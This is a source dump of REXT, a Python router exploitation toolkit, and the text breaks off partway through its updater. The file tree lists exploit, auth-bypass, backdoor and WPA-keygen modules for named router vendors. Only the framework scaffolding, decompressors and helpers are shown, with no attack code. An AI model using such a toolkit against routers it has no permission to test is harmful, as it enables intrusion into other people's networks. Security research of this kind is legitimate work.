├── .travis.yml ├── CONTRIBUTORS.md ├── LICENSE ├── README.md ├── core ├── Decryptor.py ├── Exploit.py ├── Harvester.py ├── Misc.py ├── Scanner.py ├── __init__.py ├── compression │ ├── __init__.py │ ├── lzo.py │ └── lzs.py ├── globals.py ├── io.py ├── loader.py └── updater.py ├── databases ├── bad_keys.db └── oui.db ├── interface ├── __init__.py ├── banner.txt ├── cmdui.py ├── messages.py └── utils.py ├── modules ├── __init__.py ├── decryptors │ ├── draytek │ │ ├── __init__.py │ │ ├── vigor_config_old.py │ │ └── vigor_fw_decompress.py │ ├── zte │ │ ├── __init__.py │ │ └── config_zlib_decompress.py │ └── zyxel │ │ ├── __init__.py │ │ └── rom-0_pass_extract.py ├── exploits │ ├── allegrosoft │ │ ├── __init__.py │ │ └── misfortune_auth_bypass.py │ ├── dlink │ │ ├── __init__.py │ │ ├── dir300_600_exec.py │ │ ├── dir300_600_info.py │ │ ├── dir300_615_auth_bypass.py │ │ ├── dir645_auth_bypass.py │ │ ├── dir815_645_exec.py │ │ ├── dir890l_soapaction.py │ │ └── dsl_2750b_info.py │ ├── linksys │ │ ├── __init__.py │ │ ├── ea6100_auth_bypass.py │ │ └── wap54gv3_exec.py │ ├── netgear │ │ ├── __init__.py │ │ ├── n300_auth_bypass.py │ │ ├── prosafe_exec.py │ │ ├── rp614_auth_bypass.py │ │ ├── wg102_exec.py │ │ └── wndr_auth_bypass.py │ ├── zte │ │ ├── __init__.py │ │ └── f660_config_download.py │ └── zyxel │ │ ├── __init__.py │ │ └── rom-0.py ├── harvesters │ ├── __init__.py │ └── airlive │ │ ├── WT2000ARM.py │ │ └── __init__.py ├── misc │ ├── __init__.py │ ├── accton │ │ ├── __init__.py │ │ └── switch_backdoor_gen.py │ ├── adb │ │ ├── __init__.py │ │ ├── a1_default_wpa_key.py │ │ └── alice_cpe_backdoor.py │ ├── arris │ │ ├── __init__.py │ │ ├── dg860a_mac2wps.py │ │ └── tm602a_password_day.py │ ├── belkin │ │ ├── __init__.py │ │ └── mac2wps.py │ ├── cobham │ │ ├── __init__.py │ │ └── admin_reset_code.py │ ├── draytek │ │ ├── __init__.py │ │ └── vigor_master_key.py │ ├── generic │ │ ├── __init__.py │ │ ├── http_get.py │ │ ├── ssh_bad_keys.py │ │ └── upnp_console.py │ ├── huawei │ │ ├── __init__.py │ │ ├── hg520_mac2wep.py │ │ └── hg8245_mac2wpa.py │ ├── pirelli │ │ ├── __init__.py │ │ └── drg_a255_mac2wpa.py │ ├── sagem │ │ ├── __init__.py │ │ └── fast_telnet_password.py │ ├── sitecom │ │ ├── __init__.py │ │ └── wlr-400X_mac2wpa.py │ └── vodafone │ │ ├── __init__.py │ │ └── easybox_wpa2_keygen.py └── scanners │ └── allegrosoft │ ├── __init__.py │ └── misfortune_cookie.py ├── requirements.txt ├── rext.py └── tests ├── test_cmdui.py ├── test_loader.py ├── test_messages.py └── test_utils.py /.travis.yml: -------------------------------------------------------------------------------- 1 | language: python 2 | python: 3 | - 3.3 4 | - 3.4 5 | - 3.5 6 | #install dependencies 7 | install: "pip install -r requirements.txt" 8 | #run tests 9 | script: 10 | - python -m unittest discover ./tests 11 | branches: 12 | except: 13 | - devel -------------------------------------------------------------------------------- /CONTRIBUTORS.md: -------------------------------------------------------------------------------- 1 | Contributors to REXT in (alphabetical order) 2 | ============================================ 3 | 4 | * **[Marcos Nesster](https://github.com/mh4x0f)** 5 | 6 | * autocomplete for show and load commands 7 | * **[Bernardo Rodrigues](https://github.com/bmaia)** 8 | * fixing Arris Password of the day exploit -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | Router Exploitation Toolkit - REXT 2 | ================================== 3 | 4 | Small toolkit for easy creation and usage of various python scripts that work with embedded devices. 5 | 6 | [![Build Status](https://travis-ci.org/j91321/rext.svg?branch=master)](https://travis-ci.org/j91321/rext) 7 | 8 | - core - contains most of toolkits basic functions 9 | - databases - contains databases, like default credentials etc. 10 | - interface - contains code that is being used for the creation and manipulation with interface 11 | - modules - contains structure of modules, that can be loaded, every module contains vendor specific sub-modules where scripts are stored. 12 | - decryptors 13 | - exploits 14 | - harvesters 15 | - misc 16 | - scanners 17 | - output - output goes here 18 | 19 | This is still heavy work-in progress 20 | 21 | TODO 22 | ==== 23 | 24 | 25 | - Porting javascript exploits from routerpwn.com (not always in the most pythonic way) - feel free to contribute 26 | - More and better tests 27 | - More modules 28 | 29 | Requirements 30 | ============ 31 | I am trying to keep the requirements minimal: 32 | 33 | - requests 34 | - paramiko 35 | - beautifulsoup4 36 | 37 | License 38 | ======= 39 | This software is licensed under GNU GPL v3. For more information please see LICENSE file -------------------------------------------------------------------------------- /core/Decryptor.py: -------------------------------------------------------------------------------- 1 | # This file is part of REXT 2 | # core.Decryptor.py - super class for decrypt scripts 3 | # Author: Ján Trenčanský 4 | # License: GNU GPL v3 5 | 6 | import cmd 7 | 8 | import core.globals 9 | import interface.utils 10 | from interface.messages import print_error, print_help, print_info 11 | 12 | 13 | class RextDecryptor(cmd.Cmd): 14 | input_file = "" 15 | 16 | def __init__(self): 17 | cmd.Cmd.__init__(self) 18 | interface.utils.change_prompt(self, core.globals.active_module_path + core.globals.active_script) 19 | self.cmdloop() 20 | 21 | def do_back(self, e): 22 | return True 23 | 24 | def do_info(self, e): 25 | print(self.__doc__) 26 | 27 | def do_run(self, e): 28 | pass 29 | 30 | def do_set(self, e): 31 | args = e.split(' ') 32 | try: 33 | if args[0] == "file": 34 | if interface.utils.file_exists(args[1]): 35 | self.input_file = args[1] 36 | else: 37 | print_error("file does not exist") 38 | except IndexError: 39 | print_error("please specify value for variable") 40 | 41 | def complete_set(self, text, line, begidx, endidx): 42 | modules = ["file"] 43 | module_line = line.partition(' ')[2] 44 | igon = len(module_line) - len(text) 45 | return [s[igon:] for s in modules if s.startswith(module_line)] 46 | 47 | def do_file(self, e): 48 | print_info(self.input_file) 49 | 50 | def help_back(self): 51 | print_help("Exit script") 52 | 53 | def help_run(self): 54 | print_help("Run script") 55 | 56 | def help_file(self): 57 | print_help("Prints current value of file") 58 | 59 | def help_set(self): 60 | print_help("Set value of variable: \"set file /tmp/FW.bin\"") 61 | 62 | def help_info(self, e): 63 | print_help("Show info about loaded module") -------------------------------------------------------------------------------- /core/Exploit.py: -------------------------------------------------------------------------------- 1 | # This file is part of REXT 2 | # core.Exploit.py - super class for exploit scripts 3 | # Author: Ján Trenčanský 4 | # License: GNU GPL v3 5 | 6 | import cmd 7 | 8 | import core.globals 9 | import interface.utils 10 | from interface.messages import print_error, print_help, print_info 11 | 12 | 13 | class RextExploit(cmd.Cmd): 14 | host = "192.168.1.1" 15 | port = "80" 16 | 17 | def __init__(self): 18 | cmd.Cmd.__init__(self) 19 | interface.utils.change_prompt(self, core.globals.active_module_path + core.globals.active_script) 20 | self.cmdloop() 21 | 22 | def do_back(self, e): 23 | return True 24 | 25 | def do_run(self, e): 26 | pass 27 | 28 | def do_set(self, e): 29 | args = e.split(' ') 30 | try: 31 | if args[0] == "host": 32 | if interface.utils.validate_ipv4(args[1]): 33 | self.host = args[1] 34 | else: 35 | print_error("please provide valid IPv4 address") 36 | elif args[0] == "port": 37 | if str.isdigit(args[1]): 38 | self.port = args[1] 39 | else: 40 | print_error("port value must be integer") 41 | except IndexError: 42 | print_error("please specify value for variable") 43 | 44 | def complete_set(self, text, line, begidx, endidx): 45 | modules = ["host", "port"] 46 | module_line = line.partition(' ')[2] 47 | igon = len(module_line) - len(text) 48 | return [s[igon:] for s in modules if s.startswith(module_line)] 49 | 50 | def do_info(self, e): 51 | print(self.__doc__) 52 | 53 | def do_host(self, e): 54 | print_info(self.host) 55 | 56 | def do_port(self, e): 57 | print_info(self.port) 58 | 59 | def help_back(self): 60 | print_help("Exit script") 61 | 62 | def help_run(self): 63 | print_help("Run script") 64 | 65 | def help_host(self): 66 | print_help("Prints current value of host") 67 | 68 | def help_port(self): 69 | print_help("Prints current value of port") 70 | 71 | def help_set(self): 72 | print_help("Set value of variable: \"set host 192.168.1.1\"") 73 | 74 | def help_info(self, e): 75 | print_help("Show info about loaded module") -------------------------------------------------------------------------------- /core/Harvester.py: -------------------------------------------------------------------------------- 1 | # This file is part of REXT 2 | # core.Harvester.py - super class for harvester scripts 3 | # Author: Ján Trenčanský 4 | # License: GNU GPL v3 5 | 6 | import cmd 7 | 8 | import core.globals 9 | import interface.utils 10 | from interface.messages import print_error, print_help 11 | 12 | 13 | class RextHarvester(cmd.Cmd): 14 | host = "" 15 | port = "80" 16 | 17 | def __init__(self): 18 | cmd.Cmd.__init__(self) 19 | interface.utils.change_prompt(self, core.globals.active_module_path + core.globals.active_script) 20 | self.cmdloop() 21 | 22 | def do_back(self, e): 23 | return True 24 | 25 | def do_info(self, e): 26 | print(self.__doc__) 27 | 28 | def do_run(self, e): 29 | pass 30 | 31 | def do_set(self, e): 32 | args = e.split(' ') 33 | try: 34 | if args[0] == "host": 35 | if interface.utils.validate_ipv4(args[1]): 36 | self.host = args[1] 37 | else: 38 | print_error("please provide valid IPv4 address") 39 | elif args[0] == "port": 40 | if str.isdigit(args[1]): 41 | self.port = args[1] 42 | else: 43 | print_error("port value must be integer") 44 | except IndexError: 45 | print_error("please specify value for variable") 46 | 47 | def complete_set(self, text, line, begidx, endidx): 48 | modules = ["host", "port"] 49 | module_line = line.partition(' ')[2] 50 | igon = len(module_line) - len(text) 51 | return [s[igon:] for s in modules if s.startswith(module_line)] 52 | 53 | def help_set(self): 54 | print_help("Set value of variable: \"set host 192.168.1.1\"") 55 | 56 | def help_back(self): 57 | print_help("Exit script") 58 | 59 | def help_run(self, e): 60 | print_help("Run script") 61 | 62 | def help_info(self, e): 63 | print_help("Show info about loaded module") -------------------------------------------------------------------------------- /core/Misc.py: -------------------------------------------------------------------------------- 1 | # This file is part of REXT 2 | # core.Misc.py - super class for misc scripts 3 | # Author: Ján Trenčanský 4 | # License: GNU GPL v3 5 | 6 | import cmd 7 | 8 | import core.globals 9 | import interface.utils 10 | from interface.messages import print_help 11 | 12 | 13 | class RextMisc(cmd.Cmd): 14 | 15 | def __init__(self): 16 | cmd.Cmd.__init__(self) 17 | interface.utils.change_prompt(self, core.globals.active_module_path + core.globals.active_script) 18 | self.cmdloop() 19 | 20 | def do_info(self, e): 21 | print(self.__doc__) 22 | 23 | def do_back(self, e): 24 | return True 25 | 26 | def do_run(self, e): 27 | pass 28 | 29 | def help_back(self): 30 | print_help("Exit script") 31 | 32 | def help_run(self): 33 | print_help("Run script") 34 | 35 | def help_info(self, e): 36 | print_help("Show info about loaded module") -------------------------------------------------------------------------------- /core/Scanner.py: -------------------------------------------------------------------------------- 1 | # This file is part of REXT 2 | # core.Scanner.py - super class for scanner scripts 3 | # Author: Ján Trenčanský 4 | # License: GNU GPL v3 5 | 6 | import cmd 7 | 8 | import core.globals 9 | import interface.utils 10 | from interface.messages import print_help, print_error, print_info 11 | 12 | 13 | class RextScanner(cmd.Cmd): 14 | host = "" 15 | port = "80" 16 | 17 | def __init__(self): 18 | cmd.Cmd.__init__(self) 19 | interface.utils.change_prompt(self, core.globals.active_module_path + core.globals.active_script) 20 | self.cmdloop() 21 | 22 | def do_info(self, e): 23 | print(self.__doc__) 24 | 25 | def do_back(self, e): 26 | return True 27 | 28 | def do_run(self, e): 29 | pass 30 | 31 | def do_set(self, e): 32 | args = e.split(' ') 33 | try: 34 | if args[0] == "host": 35 | if interface.utils.validate_ipv4(args[1]): 36 | self.host = args[1] 37 | else: 38 | print_error("please provide valid IPv4 address") 39 | elif args[0] == "port": 40 | if str.isdigit(args[1]): 41 | self.port = args[1] 42 | else: 43 | print_error("port value must be integer") 44 | except IndexError: 45 | print_error("please specify value for variable") 46 | 47 | def complete_set(self, text, line, begidx, endidx): 48 | modules = ["host", "port"] 49 | module_line = line.partition(' ')[2] 50 | igon = len(module_line) - len(text) 51 | return [s[igon:] for s in modules if s.startswith(module_line)] 52 | 53 | def do_host(self, e): 54 | print_info(self.host) 55 | 56 | def do_port(self, e): 57 | print_info(self.port) 58 | 59 | def help_back(self): 60 | print_help("Exit script") 61 | 62 | def help_run(self): 63 | print_help("Run script") 64 | 65 | def help_host(self): 66 | print_help("Prints current value of host") 67 | 68 | def help_port(self): 69 | print_help("Prints current value of port") 70 | 71 | def help_set(self): 72 | print_help("Set value of variable: \"set host 192.168.1.1\"") 73 | 74 | def help_info(self, e): 75 | print_help("Show info about loaded module") -------------------------------------------------------------------------------- /core/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/j91321/rext/5f0f6266eec445b00ef4aeba3cfffbca022e7f43/core/__init__.py -------------------------------------------------------------------------------- /core/compression/__init__.py: -------------------------------------------------------------------------------- 1 | __author__ = 'john' 2 | -------------------------------------------------------------------------------- /core/compression/lzo.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # 3 | # This program uses code translated from Java code of Java-LZO compression 4 | # program by Markus Oberhumer, author of LZO algorithm and its implementation 5 | # 6 | # http://www.oberhumer.com/opensource/lzo/ 7 | # 8 | # Copyright (C) 1999 Markus Franz Xaver Johannes Oberhumer 9 | # Copyright (C) 1998 Markus Franz Xaver Johannes Oberhumer 10 | # Copyright (C) 1997 Markus Franz Xaver Johannes Oberhumer 11 | # Copyright (C) 1996 Markus Franz Xaver Johannes Oberhumer 12 | # 13 | # The LZO library is free software; you can redistribute it and/or 14 | # modify it under the terms of the GNU General Public License as 15 | # published by the Free Software Foundation; either version 2 of 16 | # the License, or (at your option) any later version. 17 | # 18 | # The LZO library is distributed in the hope that it will be useful, 19 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 20 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 21 | # GNU General Public License for more details. 22 | # 23 | # You should have received a copy of the GNU General Public License 24 | # along with the LZO library; see the file COPYING. 25 | # If not, write to the Free Software Foundation, Inc., 26 | # 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. 27 | # 28 | # Markus F.X.J. Oberhumer 29 | # 30 | # http://wildsau.idv.uni-linz.ac.at/mfx/lzo.html 31 | # 32 | # 33 | # 34 | # Translation into Python by AMMOnium 35 | # 36 | 37 | from struct import unpack 38 | 39 | 40 | class LZO_ERROR(Exception): 41 | ed = {0: 'LZO_E_OK', 42 | -1: 'LZO_E_ERROR', 43 | -2: 'LZO_E_OUT_OF_MEMORY', 44 | -3: 'LZO_E_NOT_COMPRESSIBLE', 45 | -4: 'LZO_E_INPUT_OVERRUN', 46 | -5: 'LZO_E_OUTPUT_OVERRUN', 47 | -6: 'LZO_E_LOOKBEHIND_OVERRUN', 48 | -7: 'LZO_E_EOF_NOT_FOUND', 49 | -8: 'LZO_E_INPUT_NOT_CONSUMED'} 50 | 51 | def __init__(self, value, pos=0): 52 | self.value = value 53 | self.pos = pos 54 | 55 | def __str__(self): 56 | return (repr(self.ed[self.value]) 57 | + ' at offset %d [0x%x]' % (self.pos, self.pos)) 58 | 59 | 60 | class pydelzo: 61 | """Python translation of Java-LZO decompression code""" 62 | __version__ = "0.1" 63 | copyright = "LZO Copyright (C) 1996-1999 Markus F.X.J. Oberhumer " \ 64 | "" 65 | 66 | LZO_E_OK = 0 67 | LZO_E_ERROR = -1 68 | LZO_E_OUT_OF_MEMORY = -2 69 | LZO_E_NOT_COMPRESSIBLE = -3 70 | LZO_E_INPUT_OVERRUN = -4 71 | LZO_E_OUTPUT_OVERRUN = -5 72 | LZO_E_LOOKBEHIND_OVERRUN = -6 73 | LZO_E_EOF_NOT_FOUND = -7 74 | LZO_E_INPUT_NOT_CONSUMED = -8 75 | 76 | @staticmethod 77 | def decompress(buf, strict=False): 78 | """Perform decompression of a data block""" 79 | # length of uncompressed data 80 | raw_len = unpack('>L', bytes(buf[1:5]))[0] 81 | 82 | dst = bytearray(raw_len) 83 | 84 | src_len = len(buf) - 5 85 | dst_len = [0] 86 | dst_off = 0 87 | src_off = 0 88 | src = bytearray(buf[5:]) + bytearray(256) 89 | r = pydelzo.int_decompress(src, src_off, raw_len, 90 | dst, dst_off, dst_len) 91 | # if strict mode is on, die if header had specified more data 92 | # than actually received 93 | if r != pydelzo.LZO_E_OK: 94 | if strict or \ 95 | (not strict and r != pydelzo.LZO_E_INPUT_NOT_CONSUMED): 96 | raise LZO_ERROR(r, dst_len[0]) 97 | return dst[:min(raw_len, dst_len[0])] 98 | 99 | # @profile 100 | @staticmethod 101 | def int_decompress(src, src_off, src_len, dst, dst_off, dst_len): 102 | """Internal decompression subroutine""" 103 | ip = src_off 104 | op = dst_off 105 | t = src[ip] 106 | ip += 1 107 | 108 | if t > 17: 109 | t -= 17 110 | dst[op:op + t] = src[ip:ip + t] 111 | op += t 112 | ip += t 113 | 114 | t = src[ip] 115 | ip += 1 116 | 117 | if t < 16: 118 | return pydelzo.LZO_E_ERROR 119 | 120 | while True: 121 | lf = False 122 | if t < 16: 123 | if t == 0: 124 | while src[ip] == 0: 125 | t += 255 126 | ip += 1 127 | t += 15 + src[ip] 128 | ip += 1 129 | 130 | t += 3 131 | dst[op:op + t] = src[ip:ip + t] 132 | op += t 133 | ip += t 134 | 135 | t = src[ip] 136 | ip += 1 137 | 138 | if t < 16: 139 | m_pos = op - 0x801 - (t >> 2) - (src[ip] << 2) 140 | ip += 1 141 | 142 | if m_pos < dst_off: 143 | t = pydelzo.LZO_E_LOOKBEHIND_OVERRUN 144 | break 145 | 146 | t = 3 147 | dst[op:op + t] = src[m_pos:m_pos + t] 148 | op += t 149 | m_pos += t 150 | 151 | t = src[ip - 2] & 3 152 | if t == 0: 153 | continue 154 | 155 | dst[op:op + t] = src[ip:ip + t] 156 | op += t 157 | ip += t 158 | 159 | t = src[ip] 160 | ip += 1 161 | 162 | while True: 163 | if t >= 64: 164 | m_pos = op - 1 - ((t >> 2) & 7) - (src[ip] << 3) 165 | ip += 1 166 | t = (t >> 5) - 1 167 | elif t >= 32: 168 | t &= 31 169 | if t == 0: 170 | while src[ip] == 0: 171 | t += 255 172 | ip += 1 173 | t += 31 + src[ip] 174 | ip += 1 175 | 176 | m_pos = op - 1 - (src[ip] >> 2) 177 | ip += 1 178 | 179 | m_pos -= (src[ip] << 6) 180 | ip += 1 181 | 182 | elif t >= 16: 183 | m_pos = op - ((t & 8) << 11) 184 | t &= 7 185 | if t == 0: 186 | while src[ip] == 0: 187 | t += 255 188 | ip += 1 189 | t += 7 + src[ip] 190 | ip += 1 191 | m_pos -= (src[ip] >> 2) 192 | ip += 1 193 | 194 | m_pos -= (src[ip] << 6) 195 | ip += 1 196 | 197 | if m_pos == op: 198 | lf = True 199 | break 200 | 201 | m_pos -= 0x4000 202 | else: 203 | m_pos = op - 1 - (t >> 2) - (src[ip] << 2) 204 | ip += 1 205 | t = 0 206 | 207 | if m_pos < dst_off: 208 | t = pydelzo.LZO_E_LOOKBEHIND_OVERRUN 209 | lf = True 210 | break 211 | 212 | t += 2 213 | 214 | for ii in range(t): 215 | dst[op + ii] = dst[m_pos + ii] 216 | op += t 217 | m_pos += t 218 | 219 | t = src[ip - 2] & 3 220 | if t == 0: 221 | break 222 | 223 | dst[op:op + t] = src[ip:ip + t] 224 | op += t 225 | ip += t 226 | 227 | t = src[ip] 228 | ip += 1 229 | 230 | if lf: 231 | lf = False 232 | break 233 | else: 234 | t = src[ip] 235 | ip += 1 236 | 237 | ip -= src_off 238 | op -= dst_off 239 | dst_len[0] = op 240 | if t < 0: 241 | return t 242 | 243 | if ip < src_len: 244 | return pydelzo.LZO_E_INPUT_NOT_CONSUMED 245 | 246 | if ip > src_len: 247 | return pydelzo.LZO_E_INPUT_OVERRUN 248 | 249 | if t != 1: 250 | return pydelzo.LZO_E_ERROR 251 | 252 | return pydelzo.LZO_E_OK 253 | -------------------------------------------------------------------------------- /core/compression/lzs.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | #-*- coding:utf-8 -*- 3 | 4 | ############################################################## 5 | # Lempel-Ziv-Stac decompression 6 | # BitReader and RingList classes 7 | # 8 | # Copyright (C) 2011 Filippo Valsorda - FiloSottile 9 | # filosottile.wiki gmail.com - www.pytux.it 10 | # 11 | # This program is free software: you can redistribute it and/or modify 12 | # it under the terms of the GNU General Public License as published by 13 | # the Free Software Foundation, either version 3 of the License, or 14 | # (at your option) any later version. 15 | # 16 | # This program is distributed in the hope that it will be useful, 17 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 18 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 19 | # GNU General Public License for more details. 20 | # 21 | # You should have received a copy of the GNU General Public License 22 | # along with this program. If not, see <http://www.gnu.org/licenses/>. 23 | # 24 | ############################################################## 25 | 26 | import collections 27 | 28 | 29 | class BitReader: 30 | """ 31 | Gets a string or a iterable of chars (also mmap) 32 | representing bytes (ord) and permits to extract 33 | bits one by one like a stream 34 | """ 35 | def __init__(self, bytes): 36 | self._bits = collections.deque() 37 | 38 | for byte in bytes: 39 | #byte = ord(byte) 40 | for n in range(8): 41 | self._bits.append(bool((byte >> (7-n)) & 1)) 42 | 43 | 44 | def getBit(self): 45 | return self._bits.popleft() 46 | 47 | def getBits(self, num): 48 | res = 0 49 | for i in range(num): 50 | res += self.getBit() << num-1-i 51 | return res 52 | 53 | def getByte(self): 54 | return self.getBits(8) 55 | 56 | def __len__(self): 57 | return len(self._bits) 58 | 59 | 60 | class RingList: 61 | """ 62 | When the list is full, for every item appended 63 | the older is removed 64 | """ 65 | def __init__(self, length): 66 | self.__data__ = collections.deque() # Isn't there a maxlen= for deque? This is strange 67 | self.__full__ = False 68 | self.__max__ = length 69 | 70 | def append(self, x): 71 | if self.__full__: 72 | self.__data__.popleft() 73 | self.__data__.append(x) 74 | if self.size() == self.__max__: 75 | self.__full__ = True 76 | 77 | def get(self): 78 | return self.__data__ 79 | 80 | def size(self): 81 | return len(self.__data__) 82 | 83 | def maxsize(self): 84 | return self.__max__ 85 | 86 | def __getitem__(self, n): 87 | if n >= self.size(): 88 | return None 89 | return self.__data__[n] 90 | 91 | 92 | def LZSDecompress(data, window=RingList(2048)): 93 | """ 94 | Gets a string or a iterable of chars (also mmap) 95 | representing bytes (ord) and an optional 96 | pre-populated dictionary; return the decompressed 97 | string and the final dictionary 98 | """ 99 | reader = BitReader(data) 100 | result = bytearray() 101 | 102 | while True: 103 | bit = reader.getBit() 104 | if not bit: 105 | char = reader.getByte() 106 | result.append(char) 107 | window.append(char) # ERR: Something is wrong in this ring list 108 | else: 109 | bit = reader.getBit() 110 | if bit: 111 | offset = reader.getBits(7) 112 | if offset == 0: 113 | # EOF 114 | break 115 | else: 116 | offset = reader.getBits(11) 117 | 118 | lenField = reader.getBits(2) 119 | if lenField < 3: 120 | lenght = lenField + 2 121 | else: 122 | lenField <<= 2 123 | lenField += reader.getBits(2) 124 | if lenField < 15: 125 | lenght = (lenField & 0x0f) + 5 126 | else: 127 | lenCounter = 0 128 | lenField = reader.getBits(4) 129 | while lenField == 15: 130 | lenField = reader.getBits(4) 131 | lenCounter += 1 132 | lenght = 15*lenCounter + 8 + lenField 133 | 134 | for i in range(lenght): 135 | #print(window.size()) 136 | #print("Length:", lenght) 137 | #print("i:", i) 138 | #print("deq:", window.get()) 139 | #print("size:", window.size()) 140 | char = window[-offset] 141 | result.append(char) 142 | window.append(char) 143 | 144 | return result, window 145 | -------------------------------------------------------------------------------- /core/globals.py: -------------------------------------------------------------------------------- 1 | # This file is part of REXT 2 | # core.globals.py - cross module variables 3 | # Author: Ján Trenčanský 4 | # License: GNU GPL v3 5 | 6 | # TODO: add global host and port settings 7 | 8 | active_module_path = "" 9 | active_script = "" 10 | 11 | # Database connections 12 | ouidb_conn = None -------------------------------------------------------------------------------- /core/io.py: -------------------------------------------------------------------------------- 1 | # This file is part of REXT 2 | # core.io.py - Input / Output utils, for writing files and databases 3 | # Author: Ján Trenčanský 4 | # License: GNU GPL v3 5 | 6 | import datetime 7 | import os 8 | import core.globals 9 | from interface.messages import print_error, print_info 10 | 11 | 12 | # FIXME: If minute changes between two writes of one module, this will create two directories 13 | def writefile(stream, filename): 14 | dirpath = "output/" + core.globals.active_script + "_" + datetime.datetime.today().strftime('%Y-%b-%d-%H:%M') 15 | try: 16 | if not os.path.exists(dirpath): 17 | os.mkdir(dirpath) 18 | open(dirpath + "/" + filename, 'wb').write(stream) 19 | return dirpath 20 | except OSError: 21 | print_error("Unable to create directory") 22 | 23 | 24 | def writetextfile(text, filename): 25 | dirpath = "output/" + core.globals.active_script + "_" + datetime.datetime.today().strftime('%Y-%b-%d-%H:%M') 26 | try: 27 | if not os.path.exists(dirpath): 28 | os.mkdir(dirpath) 29 | open(dirpath + "/" + filename, 'w').write(text) 30 | return dirpath 31 | except OSError: 32 | print_error("Unable to create directory") 33 | 34 | 35 | # Modified from http://stackoverflow.com/questions/3041986/python-command-line-yes-no-input 36 | def query_yes_no(question, default="yes"): 37 | """Ask a yes/no question via raw_input() and return their answer. 38 | 39 | "question" is a string that is presented to the user. 40 | "default" is the presumed answer if the user just hits . 41 | It must be "yes" (the default), "no" or None (meaning 42 | an answer is required of the user). 43 | 44 | The "answer" return value is True for "yes" or False for "no". 45 | """ 46 | valid = {"yes": True, "y": True, "ye": True, 47 | "no": False, "n": False} 48 | if default is None: 49 | prompt = " [y/n] " 50 | elif default == "yes": 51 | prompt = " [Y/n] " 52 | elif default == "no": 53 | prompt = " [y/N] " 54 | else: 55 | raise ValueError("invalid default answer: '%s'" % default) 56 | 57 | while True: 58 | print_info(question + prompt) 59 | choice = input().lower() 60 | if default is not None and choice == '': 61 | return valid[default] 62 | elif choice in valid: 63 | return valid[choice] 64 | else: 65 | print_error("Please respond with 'yes' or 'no' " "(or 'y' or 'n').\n") 66 | -------------------------------------------------------------------------------- /core/loader.py: -------------------------------------------------------------------------------- 1 | # This file is part of REXT 2 | # core.loader.py - script that handles dynamic loading an unloading scripts 3 | # Author: Ján Trenčanský 4 | # delete_module was written by Michael P. Reilly 5 | # it was taken from https://mail.python.org/pipermail/tutor/2006-August/048596.html 6 | # License: GNU GPL v3 7 | 8 | import importlib 9 | import importlib.util 10 | import sqlite3 11 | import interface.utils 12 | import os 13 | from interface.messages import print_error, print_warning 14 | 15 | 16 | def load_module(modname): 17 | try: 18 | importlib.import_module(modname) 19 | except ImportError: 20 | print_error("module doesn't exist") 21 | 22 | 23 | def delete_module(modname, paranoid=None): 24 | from sys import modules 25 | try: 26 | thismod = modules[modname] 27 | except KeyError: 28 | raise ValueError(modname) 29 | these_symbols = dir(thismod) 30 | if paranoid: 31 | try: 32 | paranoid[:] # sequence support 33 | except: 34 | raise ValueError('must supply a finite list for paranoid') 35 | else: 36 | these_symbols = paranoid[:] 37 | del modules[modname] 38 | for mod in modules.values(): 39 | try: 40 | delattr(mod, modname) 41 | except AttributeError: 42 | pass 43 | if paranoid: 44 | for symbol in these_symbols: 45 | if symbol[:2] == '__': # ignore special symbols 46 | continue 47 | try: 48 | delattr(mod, symbol) 49 | except AttributeError: 50 | pass 51 | 52 | 53 | def check_dependencies(): 54 | dependency_list = open("./requirements.txt", 'rt', encoding='utf-8') 55 | while True: 56 | dependency = dependency_list.readline() 57 | if not dependency: 58 | break 59 | # FIXME this is not the best way to parse dependencies probably, may break rext if == is used 60 | dependency = dependency[:dependency.find('>=')] 61 | # FIXME beautifulsoup4 is imported as bs4 62 | if dependency == 'beautifulsoup4': 63 | dependency = 'bs4' 64 | found = importlib.util.find_spec(dependency) 65 | if found is None: 66 | print_warning(dependency + " not found some modules may not work!") 67 | dependency_list.close() 68 | 69 | 70 | def check_create_dirs(): 71 | directories = ['./output'] 72 | for dir in directories: 73 | if not os.path.exists(dir): 74 | os.makedirs(dir) 75 | 76 | 77 | def open_database(path): 78 | if interface.utils.file_exists(path): 79 | connection = sqlite3.connect(path) 80 | return connection 81 | else: 82 | return None 83 | 84 | 85 | def close_database(connection): 86 | connection.close() 87 | -------------------------------------------------------------------------------- /core/updater.py: -------------------------------------------------------------------------------- 1 | # This file is part of REXT 2 | # updater.py - script that handles updating of REXT and it's components 3 | # Author: Ján Trenčanský 4 | # License: GNU GPL v3 5 | 6 | import subprocess 7 | import time 8 | import re 9 | import os 10 | import sys 11 | 12 | import interface.utils 13 | import core.globals 14 | from interface.messages import print_error, print_info 15 | 16 | 17 | # Pull REXT from git repo 18 | def update_rext(): 19 | subprocess.Popen("git pull", shell=True).wait() 20 | time.sleep(4) 21 | 22 | 23 | # Reset HEAD to discard local changes and pull 24 | def update_rext_force(): 25 | subprocess.Popen("git reset --hard", shell=True).wait() 26 | subprocess.Popen("git pull", shell=True).wait() 27 | time.sleep(4) 28 | 29 | 30 | # Download OUI file, and recreate DB 31 | def update_oui(): 32 | if interface.utils.file_exists("./databases/oui.db") and core.globals.ouidb_conn is not None: 33 | connection = core.globals.ouidb_conn 34 | cursor = connection.cursor() 35 | # Truncate database 36 | print_info("Truncating oui table") 37 | cursor.execute("""DROP TABLE oui""") 38 | cursor.execute("""CREATE TABLE oui ( 39 | id INTEGER PRIMARY KEY NOT NULL, 40 | oui TEXT UNIQUE, 41 | name TEXT)""") 42 | # This is very important, sqlite3 creates transaction for every INSERT/UPDATE/DELETE 43 | # but can handle only dozen of transactions at a time. 44 | # BEGIN guarantees that only one transaction will be used. 45 | # Now the DB rebuild should take only seconds 46 | cursor.execute('begin') 47 | print_info("Downloading new OUI file") 48 | path = interface.utils.wget("http://standards.ieee.org/regauth/oui/oui.txt", "./output/tmp_oui.txt") 49 | if not path: 50 | print_error('Failed to download') 51 | return 52 | file = open(path, "r") 53 | regex = re.compile(r"\(base 16\)") 54 | for line in file: 55 | if regex.search(line) is not None: 56 | line = "".join(line.split("\t")) 57 | line = line.split("(") 58 | oui = line[0].replace(" ", 